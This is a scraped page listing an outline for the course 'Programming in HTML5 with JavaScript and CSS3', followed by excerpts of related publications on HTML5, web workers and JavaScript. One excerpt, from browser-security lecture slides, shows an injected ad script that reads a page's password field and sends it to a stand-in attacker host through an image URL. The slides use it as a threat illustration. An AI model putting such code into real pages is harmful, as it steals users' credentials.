MS 20480C: Programming in HTML5 with Javascript and CSS3

Total Page:16

File Type:pdf, Size:1020Kb

MS 20480C: Programming in HTML5 with Javascript and CSS3 MS 20480C: Programming in HTML5 With JavaScript and CSS3 Days: 5 Prerequisites: This course is intended for students who have the following experience: 1 – 3 months experience creating Web applications, including writing simple JavaScript code 1 month experience creating Windows client applications 1 month of experience using Visual Studio 2017. Audience: This course is intended for professional developers who have 6-12 months of programming experience and who are interested in developing applications using HTML5 with JavaScript and CSS3 (either Windows Store apps for Windows 10 or web applications). Course Objectives: After taking this course students will be able to: Explain how to use Visual Studio 2012 to create and run a Web application. Describe the new features of HTML5, and create and style HTML5 pages. Add interactivity to an HTML5 page by using JavaScript. Create HTML5 forms by using different input types, and validate user input by using HTML5 attributes and JavaScript code. Send and receive data to and from a remote data source by using XMLHTTP Request objects and Fetch API Style HTML5 pages by using CSS3. Create a well-structured and easily-maintainable JavaScript code. Write modern JavaScript code and use babel to make it compatible to all browsers Create web applications that support offline operations Create HTML5 Web pages that can adapt to different devices and form factors. Add advanced graphics to an HTML5 page by using Canvas elements, and by using and Scalable Vector Graphics. Enhance the user experience by adding animations to an HTML5 page. Use Web Sockets to send and receive data between a Web application and a server. Improve the responsiveness of a Web application that performs long-running operations by using Web Worker processes. Use WebPack to package web applications for production. OUTLINE: MODULE 1: OVERVIEW OF HTML AND CSS Creating a Web Application by Using Visual Studio 2012 This module reviews the basic of HTML and CSS, and introduces the tools that this course uses to LAB: EXPLORING THE CONTOSO CONFERENCE create HTML pages and style sheets. APPLICATION Walkthrough of the Contoso LESSONS Conference Application Overview of HTML Examining and Modifying the Overview of CSS Contoso Conference Application Baton Rouge | Lafayette | New Orleans www.lantecctc.com MS 20480C: Programming in HTML5 With JavaScript and CSS3 AFTER COMPLETING THIS MODULE, STUDENTS AFTER COMPLETING THIS MODULE, STUDENTS WILL BE ABLE TO: WILL BE ABLE TO: Describe basic HTML elements and Explain the syntax of JavaScript attributes. and describe how to use JavaScript Explain the structure of CSS. with HTML5. Describe the tools available in Write JavaScript code that Visual Studio 2012 for building manipulates the HTML DOM and Web applications. handles events. Describe how to use jQuery to MODULE 2: CREATING AND STYLING HTML5 simplify code that uses many PAGES common JavaScript APIs. This module describes the new features of HTML5, and explains how to create and style MODULE 4: CREATING FORMS TO COLLECT HTML5 pages. DATA AND VALIDATE USER INPUT This module describes the new input types LESSONS available with HTML5, and explains how to Creating an HTML5 Page create forms to collect and validate user input by Styling an HTML5 Page using the new HTML5 attributes and JavaScript code. LAB: CREATING AND STYLING HTML5 PAGES LESSONS Creating HTML5 Pages Styling HTML5 Pages Overview of Forms and Input Types Validating User Input by Using AFTER COMPLETING THIS MODULE, STUDENTS HTML5 Attributes WILL BE ABLE TO: Validating User Input by Using Create static pages using the new JavaScript features available in HTML5. LAB: CREATING A FORM AND VALIDATING Use CSS3 to apply basic styling to USER INPUT the elements in an HTML5 page. Creating a Form and Validating MODULE 3: INTRODUCTION TO JAVASCRIPT User Input by Using HTML5 This module provides an introduction to the Attributes JavaScript language, and shows how to use Validating User Input by Using JavaScript to add interactivity to HTML5 pages. JavaScript LESSONS AFTER COMPLETING THIS MODULE, STUDENTS WILL BE ABLE TO: Overview of JavaScript Syntax Programming the HTML DOM with Create forms that use the new JavaScript HTML5 input types. Introduction to jQuery Validate user input and provide feedback by using the new HTML5 LAB: DISPLAYING DATA AND HANDLING attributes. EVENTS BY USING JAVASCRIPT Write JavaScript code to validate user input and provide feedback in Displaying Data Programmatically cases where it is not suitable to use Handling Events HTML5 attributes Baton Rouge | Lafayette | New Orleans www.lantecctc.com MS 20480C: Programming in HTML5 With JavaScript and CSS3 MODULE 5: COMMUNICATING WITH A AFTER COMPLETING THIS MODULE, STUDENTS REMOTE DATA SOURCE WILL BE ABLE TO: This module describes how to send and receive Style text elements on an HTML5 data to and from a remote data source by using page by using CSS3. an XMLHTTPRequest object and by performing Apply styling to block elements by jQuery AJAX operations. using CSS3. Use CSS3 selectors to specify the LESSONS elements to be styled in a Web Sending and Receiving Data by application. Using XMLHTTPRequest Implement graphical effects and Sending and Receiving Data by transformations by using the new Using jQuery AJAX operations CSS3 properties. LAB: COMMUNICATING WITH A REMOTE DATA MODULE 7: CREATING OBJECTS AND SOURCE METHODS BY USING JAVASCRIPT This module explains how to write well-structured Retrieving Data and easily-maintainable JavaScript code, and Serializing and Transmitting Data Refactoring the Code by Using how to apply object-oriented principles to jQuery ajax method JavaScript code in a Web application. AFTER COMPLETING THIS MODULE, STUDENTS LESSONS WILL BE ABLE TO: Writing Well-Structured JavaScript Serialize, deserialize, send, and Creating Custom Objects receive data by using Extending Objects XMLHTTPRequest objects. LAB: REFINING CODE FOR MAINTAINABILITY Simplify code that serializes, deserializes, sends, and receives AND EXTENSIBILITY data by using the jQuery ajax Inheriting From Objects method. Refactoring Code to Use Objects MODULE 6: STYLING HTML5 BY USING CSS3 AFTER COMPLETING THIS MODULE, STUDENTS This module describes how to style HTML5 pages WILL BE ABLE TO: and elements by using the new features Describe the benefits of structuring available in CSS3. JavaScript code carefully to aid maintainability and extensibility. LESSONS Explain best practices for creating Styling Text custom objects in JavaScript. Styling Block Elements Describe how to extend custom and CSS3 Selectors native objects to add functionality. Enhancing Graphical Effects by Using CSS3 MODULE 8: CREATING INTERACTIVE PAGES USING HTML5 APIS LAB: STYLING TEXT AND BLOCK ELEMENTS This module describes how to use some common USING CSS3 HTML5 APIs to add interactive features to a Styling the Navigation Bar Web application. This module also explains how Styling the Page Header to debug and profile a Web application. Styling the About Page Baton Rouge | Lafayette | New Orleans www.lantecctc.com MS 20480C: Programming in HTML5 With JavaScript and CSS3 LESSONS AFTER COMPLETING THIS MODULE, STUDENTS Interacting with Files WILL BE ABLE TO: Incorporating Multimedia Save and retrieve data locally on Reacting to Browser Location and the user's computer by using the Context Local Storage API. Debugging and Profiling a Web Provide offline support for a Web Application application by using the Application Cache API. LAB: CREATING INTERACTIVE PAGES BY USING HTML5 APIS MODULE 10: IMPLEMENTING AN ADAPTIVE USER INTERFACE Incorporating Video Incorporating Images This module describes how to create HTML5 Using the Geolocation API pages that can dynamically detect and adapt to different devices and form factors. AFTER COMPLETING THIS MODULE, STUDENTS WILL BE ABLE TO: LESSONS Use the Drag and Drop, and the Supporting Multiple Form Factors File APIs to interact with files in a Creating an Adaptive User Web application. Interface Incorporate audio and video into a Web application. LAB: IMPLEMENTING AN ADAPTIVE USER Detect the location of the user INTERFACE running a Web application by Creating a Print-Friendly Stylesheet using the Geolocation API. Adapting Page Layout To Fit a Explain how to debug and profile a Different Form Factor Web application by using the Web Timing API and the Internet AFTER COMPLETING THIS MODULE, STUDENTS Explorer Developer Tools. WILL BE ABLE TO: MODULE 9: ADDING OFFLINE SUPPORT TO Describe the need to detect device WEB APPLICATIONS capabilities and react to different form factors in a Web application. This module describes how to add offline support Create a Web page that can to a Web application, to enable the application dynamically adapt its layout to to continue functioning in a user's browser even if match different form factors. the browser is disconnected from the network. MODULE 11: CREATING ADVANCED LESSONS GRAPHICS Reading and Writing Data Locally This module describes how to create advanced Adding Offline Support by Using graphics for an HTML5 Web application by the Application Cache using a Canvas element, and by using Scalable Vector Graphics. LAB: ADDING OFFLINE SUPPORT TO A WEB APPLICATION LESSONS Implementing the Application Cache Creating Interactive Graphics by Implementing Local Storage Using Scalable Vector Graphics Programmatically Drawing Graphics by Using a Canvas Baton Rouge | Lafayette | New Orleans www.lantecctc.com
Recommended publications
  • Browser Code Isolation
    CS 155 Spring 2014 Browser code isolation John Mitchell Modern web sites are complex Modern web “site” Code from many sources Combined in many ways Sites handle sensitive information ! Financial data n" Online banking, tax filing, shopping, budgeting, … ! Health data n" Genomics, prescriptions, … ! Personal data n" Email, messaging, affiliations, … Others want this information ! Financial data n" Black-hat hackers, … ! Health data n" Insurance companies, … ! Personal data n" Ad companies, big government, … Modern web “site” Code from many sources Combined in many ways Basic questions ! How do we isolate code from different sources n" Protecting sensitive information in browser n" Ensuring some form of integrity n" Allowing modern functionality, flexible interaction Example:Library ! Library included using tag n" <script src="jquery.js"></script> ! No isolation n" Same frame, same origin as rest of page ! May contain arbitrary code n" Library developer error or malicious trojan horse n" Can redefine core features of JavaScript n" May violate developer invariants, assumptions jQuery used by 78% of the Quantcast top 10,000 sites, over 59% of the top million Second example: advertisement <script src=“https://adpublisher.com/ad1.js”></script> <script src=“https://adpublisher.com/ad2.js”></script>! ! Read password using the DOM API var c = document.getElementsByName(“password”)[0] Directly embedded third-party JavaScript poses a threat to critical hosting page resources Send it to evil location (not subject to SOP) <img src=``http::www.evil.com/info.jpg?_info_”>
    [Show full text]
  • Seamless Offloading of Web App Computations from Mobile Device to Edge Clouds Via HTML5 Web Worker Migration
    Seamless Offloading of Web App Computations From Mobile Device to Edge Clouds via HTML5 Web Worker Migration Hyuk Jin Jeong Seoul National University SoCC 2019 Virtual Machine & Optimization Laboratory Department of Electrical and Computer Engineering Seoul National University Computation Offloading Mobile clients have limited hardware resources Require computation offloading to servers E.g., cloud gaming or cloud ML services for mobile Traditional cloud servers are located far from clients Suffer from high latency 60~70 ms (RTT from our lab to the closest Google Cloud DC) Latency<50 ms is preferred for time-critical games Cloud data center End device [Kjetil Raaen, NIK 2014] 2 Virtual Machine & Optimization Laboratory Edge Cloud Edge servers are located at the edge of the network Provide ultra low (~a few ms) latency Central Clouds Mobile WiFi APs Small cells Edge Device Cloud Clouds What if a user moves? 3 Virtual Machine & Optimization Laboratory A Major Issue: User Mobility How to seamlessly provide a service when a user moves to a different server? Resume the service at the new server What if execution state (e.g., game data) remains on the previous server? This is a challenging problem Edge computing community has struggled to solve it • VM Handoff [Ha et al. SEC’ 17], Container Migration [Lele Ma et al. SEC’ 17], Serverless Edge Computing [Claudio Cicconetti et al. PerCom’ 19] We propose a new approach for web apps based on app migration techniques 4 Virtual Machine & Optimization Laboratory Outline Motivation Proposed system WebAssembly
    [Show full text]
  • Get Started with HTML5 ● Your Best Bet to Experiment with HTML5 – Safari – Chrome As of – Beta: Firefox 4 and IE 9
    BibhasBibhas BhattacharyaBhattacharya CTO,CTO, WebWeb AgeAge SolutionsSolutions [email protected]@webagesolutions.com www.webagesolutions.com/trainingwww.webagesolutions.com/training Get Started With HTML5 ● Your best bet to experiment with HTML5 – Safari – Chrome As of – Beta: FireFox 4 and IE 9. October 2010 ● Test your browser: – html5test.com – html5demos.com – www.findmebyip.com/litmus ● JavaScript library to test for HTML5 features – www.modernizr.com Browser Support ● Dreamweaver CS5 11.0.3 update will install HTML5 compatibility pack. ● CS4 and CS3 users should download the pack from Dreamweaver Exchange. ● See a demo: – www.youtube.com/watch?v=soNIxy2sj0A DreamWeaver Story - The canvas element - Custom audio & video player - New semantic elements - Geolocation (header, section, footer etc.) - Local data storage - New form input elements - Web SQL & IndexedDB (e-mail, date, time etc.) - Offline apps - Audio and video - Messaging - CSS3 - Web worker - Push using WebSocket For web page designers For developers What's New in HTML5? SimplifiedSimplified <!DOCTYPE html> DOCTYPEDOCTYPE <html> <head> <title>Page Title</title> Simplified <meta charset="UTF-8"> Simplified charsetcharset settingsetting </head> <body> <p>Hello World</p> </body> </html> Basic HTML 5 Document ● Elements that have no special visual styling but are used to provide structure and meaning to the content. ● HTML4 semantic elements – div (block) – span (in line) ● HTML5 semantic elements – header, footer, section, article, aside, time and others..
    [Show full text]
  • HTML5 Web Workers
    HHTTMMLL55 -- WWEEBB WWOORRKKEERRSS http://www.tutorialspoint.com/html5/html5_web_workers.htm Copyright © tutorialspoint.com JavaScript was designed to run in a single-threaded environment, meaning multiple scripts cannot run at the same time. Consider a situation where you need to handle UI events, query and process large amounts of API data, and manipulate the DOM. Javascript will hang your browser in situation where CPU utilization is high. Let us take a simple example where Javascript goes through a big loop − <!DOCTYPE HTML> <html> <head> <title>Big for loop</title> <script> function bigLoop(){ for (var i = 0; i <= 10000; i += 1){ var j = i; } alert("Completed " + j + "iterations" ); } function sayHello(){ alert("Hello sir...." ); } </script> </head> <body> <input type="button" onclick="bigLoop();" value="Big Loop" /> <input type="button" onclick="sayHello();" value="Say Hello" /> </body> </html> It will produce the following result − When you click Big Loop button it displays following result in Firefox − What is Web Workers? The situation explained above can be handled using Web Workers who will do all the computationally expensive tasks without interrupting the user interface and typically run on separate threads. Web Workers allow for long-running scripts that are not interrupted by scripts that respond to clicks or other user interactions, and allows long tasks to be executed without yielding to keep the page responsive. Web Workers are background scripts and they are relatively heavy-weight, and are not intended to be used in large numbers. For example, it would be inappropriate to launch one worker for each pixel of a four megapixel image. When a script is executing inside a Web Worker it cannot access the web page's window object window.
    [Show full text]
  • Web Technologies VU (706.704)
    Web Technologies VU (706.704) Vedran Sabol ISDS, TU Graz Nov 09, 2020 Vedran Sabol (ISDS, TU Graz) Web Technologies Nov 09, 2020 1 / 68 Outline 1 Introduction 2 Drawing in the Browser (SVG, 3D) 3 Audio and Video 4 Javascript APIs 5 JavaScript Changes Vedran Sabol (ISDS, TU Graz) Web Technologies Nov 09, 2020 2 / 68 HTML5 - Part II Web Technologies (706.704) Vedran Sabol ISDS, TU Graz Nov 09, 2020 Vedran Sabol (ISDS, TU Graz) HTML5 - Part II Nov 09, 2020 3 / 68 Drawing in the Browser (SVG, 3D) SVG Scalable Vector Graphics (SVG) Web standard for vector graphics (as opposed to canvas - raster-based) Declarative style (as opposed to canvas rendering - procedural) Developed by W3C (http://www.w3.org/Graphics/SVG/) XML application (SVG DTD) http://www.w3.org/TR/SVG11/svgdtd.html SVG is supported by all current browsers Editors Inkscape and svg-edit (Web App) Vedran Sabol (ISDS, TU Graz) HTML5 - Part II Nov 09, 2020 4 / 68 Drawing in the Browser (SVG, 3D) SVG Features Basic shapes: rectangles, circles, ellipses, path, etc. Painting: filling, stroking, etc. Text Example - simple shapes Grouping of basic shapes Transformation: translation, rotation, scale, skew Example - grouping and transforms Vedran Sabol (ISDS, TU Graz) HTML5 - Part II Nov 09, 2020 5 / 68 Drawing in the Browser (SVG, 3D) SVG Features Colors: true color, transparency, gradients, etc. Clipping, masking Filter effects Interactivity: user events Scripting, i.e. JavaScript, supports DOM Animation: attributes, transforms, colors, motion (along paths) Raster images may be embedded (JPEG,
    [Show full text]
  • Indexeddb 27 File API 28 Security 29 Web Components 30
    BUT REALLY... WHAT IS STRUCTURE PRESENTATION BEHAVIOR <HTML> <CSS> <JAVASCRIPT> HTML5 A Publication of YOU REQUEST. WE RESPOND. IT GETS DONE!® But Really... What Is HTML5? 1 TABLE OF CONTENTS Introduction 3 Structure 4 Data Attributes 4 Async/Defer Scripts 5 Session History 6 Aria 7 Semantic Elements 8 Micro Data 9 Form Updates 10 Integration 11 Web Notifications 11 Cross Document Messaging 12 Geolocation 13 Device Orientation 14 DOM Elements 15 Get Media/HTML Media Capture 16 Beacon 17 Performance 18 Web Workers 18 Navigation Timing 19 Page Visibility 20 Graphics 21 Canvas 21 WebGL 22 SVG 23 Media 24 Web Audio 24 Web Video 25 Storage 26 Web Storage 26 IndexedDB 27 File API 28 Security 29 Web Components 30 But Really... What Is HTML5? in 2 HTML5 has become a buzzword for everything that is new with the web. Everyone wants it, but most have no idea what it is. In the simplest terms, HTML5 is the 5th official version of the HTML codebase. Its main purpose is to create standards for the new way that we look at websites. The web of today looks much different than the web six years ago. We have the speed and technology to provide some very immersive experiences for our clients, but as always, to quote Spiderman, “With great power comes great responsibility.” As we work on creating these amazing experiences, we need to be mindful of all of our users, especially the ones on mobile devices. Some new standards for other front-end code bases are grouped with HTML5, which causes confusion as to what exactly makes a website HTML5.
    [Show full text]
  • HTML 5.0 Specification Released As a Stable W3C Recommendation
    INTERNET SYSTEMS H T M L 5 TOMASZ PAWLAK, PHD MARCIN SZUBERT, PHD POZNAN UNIVERSITY OF TECHNOLOGY, INSTITUTE OF COMPUTING SCIENCE PRESENTATION OUTLINE • History and Motivation • HTML5 basics • HTML5 features • Semantics • Connectivity • Offline & Storage • Multimedia • 2D/3D Graphics & Effects • Performance & Integration • Device Access • Styling MODERN WEB APPLICATION DATABASE SERVER HISTORICAL PERSPECTIVE • 1991 — HTML Tags, an informal CERN document • 1993 — HTML Internet Draft published by the IETF • 1995 — HTML 2.0 (RFC 1866) published by the IETF • 1997 — HTML 3.2 published as a W3C Recommendation • 1997 — HTML 4.0 published as a W3C Recommendation: • Transitional, which allowed for deprecated elements • Strict, which forbids deprecated elements • Frameset, which allowed embedding multiple documents using frames • 1998 — W3C decided to stop evolving HTML and instead begin work on an XML-based equivalent, called XHTML HISTORICAL PERSPECTIVE — XHTML • 2000 — XHTML 1.0 published as W3C Recommendation: • reformulation of HTML 4 as an application of XML 1.0, offering stricter rules for writing and parsing markup: lower case tags, end tags for all elements, quoting attributes, escaping ampersands • new MIME type application/xhtml+xml enforces draconian error handling in web browsers. • combatibility guidelines: allowed serving pages as HTML (text/html) to continue using forgiving error handling in HTML parsers. • 2002-2006 — W3C released working drafts of XHTML 2.0 which break backward compatibility. • 2009 — W3C abandoned the work on
    [Show full text]
  • Programming in HTML5 with Javascript and CSS3
    Programming in HTML5 with JavaScript and CODICE MOC20480 DURATA 5 gg CSS3 PREZZO 1.600,00 € EXAM DESCRIZIONE This course provides an introduction to HTML5, CSS3, and JavaScript. This course helps students gain basic HTML5/CSS3/JavaScript programming skills. This course is an entry point into both the Web application and Windows Store apps training paths. The course focuses on using HTML5/CSS3/JavaScript to implement programming logic, define and use variables, perform looping and branching, develop user interfaces, capture and validate user input, store data, and create well-structured application. The lab scenarios in this course are selected to support and demonstrate the structure of various application scenarios. They are intended to focus on the principles and coding components/structures that are used to establish an HTML5 software application. This course uses Visual Studio 2017, running on Windows 10. OBIETTIVI RAGGIUNTI • Explain how to use Visual Studio 2017 to create and run a Web application. • Describe the new features of HTML5, and create and style HTML5 pages. • Add interactivity to an HTML5 page by using JavaScript. • Create HTML5 forms by using different input types, and validate user input by using HTML5 attributes and JavaScript code. • Send and receive data to and from a remote data source by using XMLHTTP Request objects and Fetch API. • Style HTML5 pages by using CSS3. • Create well-structured and easily-maintainable JavaScript code. • Write modern JavaScript code and use babel to make it compatible to all browsers. • Use common HTML5 APIs in interactive Web applications. • Create Web applications that support offline operations. • Create HTML5 Web pages that can adapt to different devices and form factors.
    [Show full text]
  • Elastic HTML5: Workload Offloading Using Cloud-Based Web
    Elastic HTML5: Workload Offloading Using Cloud-Based Web Workers and Storages for Mobile Devices Xinwen Zhang, Won Jeon, Simon Gibbs, and Anugeetha Kunjithapatham Computer Science Laboratory, Samsung Information Systems America 75 W. Plumeria Drive, San Jose, CA 95134 Abstract. In this position paper, we propose the concept of Elastic HTML5, which enables web applications to offload workload using cloud- based web workers and cloud-based storage for mobile devices. Elastic HTML5 is a collection of software components and functions in for a web runtime agent (e.g., web browser); this includes components and meth- ods to create and manage web workers in the cloud so as to augment the computation functionality of a browser-based application running on a device. Elastic HTML5 also includes the components and meth- ods to create and manage elastic storage between the main thread of a web application and its web workers. With these functions, a web ap- plication can run in elastic manner such that, whenever necessary, the mobile device can obtain resources from the cloud, including computa- tion and storage, and when necessary, it can run offline at the device side completely. 1 Introduction HTML5 is being proposed by W3C as the next generation of HTML. Al- though the specification has been under development since 2004, many features of HTML5 are supported by the latest builds of browsers including Firefox, Chrome, Safari and Opera. Microsoft is also starting to support HTML5 within Internet Explorer. Web workers and local storage are important concepts and features in HTML5. A web worker is a script that runs in the background within the browser.
    [Show full text]
  • Javascript for Science
    JavaScript for Science [email protected] Inverted CERN School of Computing (16-18 March, 2020) Content • Popularity of JavaScript • Evolution of Node.js • Rich ecosystem of JavaScript libraries • JavaScript libraries for scientific tasks • Performance of JavaScript * Most of the framed images are linked to their relevant content 2/37 JavaScript, the native language of the Web JavaScript (JS) is a high-level, object oriented, interpreted programming language. • The JS was created by Brendan Eich in 1995 at Netscape as a scripting tool to manipulate web pages inside Netscape Navigator browser. • Initially JS had another name: “LiveScript”. But Java was very popular at that time, so it was decided that positioning a new language as a “younger brother” of Java would help to make it noticeable. 3/37 Popular programming languages by StackOverflow StackOverflow developers survey (2013-2019) 4/37 Top programing languages by Github Every year, GitHub releases the Octoverse report, ranking the top technologies favored by its community of millions of software developers. 5/37 Top 5 Programming languages by SlashData Developer analyst and research company SlashData, which helps top 100 technology firms understand their developer audiences, surveyed 17000+ developers from 155 countries and revealed the following report: 6/37 Why JS became so popular? • JS is the language of the Web. • The introduction of Node.js allowed JS to go beyond the browser. • JS can serve as a universal language to build cross-platform isomorphic software systems, which makes the language very cost-efficient. Web Thanks to MongoDB! Mobile Server Database Desktop An isomorphic software system 7/37 What is Node.js • An open-source, cross-platform, JS runtime environment written in C++ • Uses V8 JS engine to execute JS code outside of a browser, i.e.
    [Show full text]
  • HTML5 Technology : Past, Present and Future
    Automotive Linux Summit 2011 HTML5 Technology : Past, present and future Nov 2011 World Wide Web PAGE 4 W3C, NeXT, Tim Berners-Lee and Steve Jobs Tim Berners-Lee Born : 8 June, 1955 World's first-ever web site and web server, running on a NeXT computer at CERN. The first web page address was http://info.cern.ch/hypertext/WWW/TheProject.html PAGE 5 HTML (HyperText Markup Language) - First created and developed by Tim Berners-Lee in 1989. - HTML 2.0, HTML 3.2 and then HTML 4.01 in 1999 was major driving momentum in internet industry. However… In 2002, newly developed XHTML 1.0 and XHTML 2.0 standards were turned away by the industry. PAGE 6 Tim Berners-Lee, “Reinventing HTML” - Proposes a new working group to evolve HTML incrementally. http://dig.csail.mit.edu/breadcrumbs/node/166 Reinventing HTML or, Yes we admit it, XHTML failed. PAGE 7 The Web Hypertext Application Technology Working Group (WHATWG) is a community of people interested in evolving HTML and related technologies. The WHATWG was founded by individuals from Apple, the Mozilla Foundation and Opera Software in 2004 PAGE 8 A brief history of HTML . HTML 1.0 03.1993 . HTML 2.0 11.1995 . HTML 3.0 04.1996 . HTML 3.2 01.1997 . HTML 4.0 12.1997 . HTML 4.01 12.1999 Currently widely used HTML . XHTML 1.0 01.2000 HTML + XML . XHTML 1.1 05.2001 . XHTML 2.0 07.2006 No backward compatibility PAGE 9 Market Status Adobe to STOP work on Mobile Flash, concentrate on HTML5 If you can’t beat’em, join’em.
    [Show full text]
  • Programming in HTML5 with Javascript and CSS3 COURS 20480
    Visit us at www.ITTA.net Programming in HTML5 with JavaScript and CSS3 COURS 20480 Course overview This course provides an introduction to HTML5, CSS3, and JavaScript. This course helps students gain basic HTML5/CSS3/JavaScript programming skills. This course is an entry point into both the Web application and Windows Store apps training paths. The course focuses on using HTML5/CSS3/JavaScript to implement programming logic, define and use variables, perform looping and branching, develop user interfaces, capture and validate user input, store data, and create well-structured application. Audience Developers interested in developing applications using HTML5, CSS3 and JavaScript. At course completion Use Visual Studio 2012 to create and run a web application Describe, create and stylize HTML5 and CSS3 pages Add interactivity to an HTML5 page using JavaScript Create HTML5 forms Send and receive data using HTTP HTTP Request objects and AJAX jQuery operations Create structured and easily maintainable JavaScript code Use the HTML5 API in interactive web applications Add advanced graphics using SVG (Scalable Vector Graphics) Improve the user experience by adding animations to an HTML5 page Improve responsiveness of a web application using web worker processes Prerequisites Have a minimum of 3 months of development experience Understand the structure of a basic HTML document including HTML tags Know how to use the HTML API Know how to implement a basic CSS style Know how to create and use variables Know how to use arithmetic, relational and logical operators Know how to implement iterations using loops Course outline Module 1: Overview of HTML and CSS This module provides an overview of HTML and CSS, and describes how to use Visual Studio 2012 to build a Web application.
    [Show full text]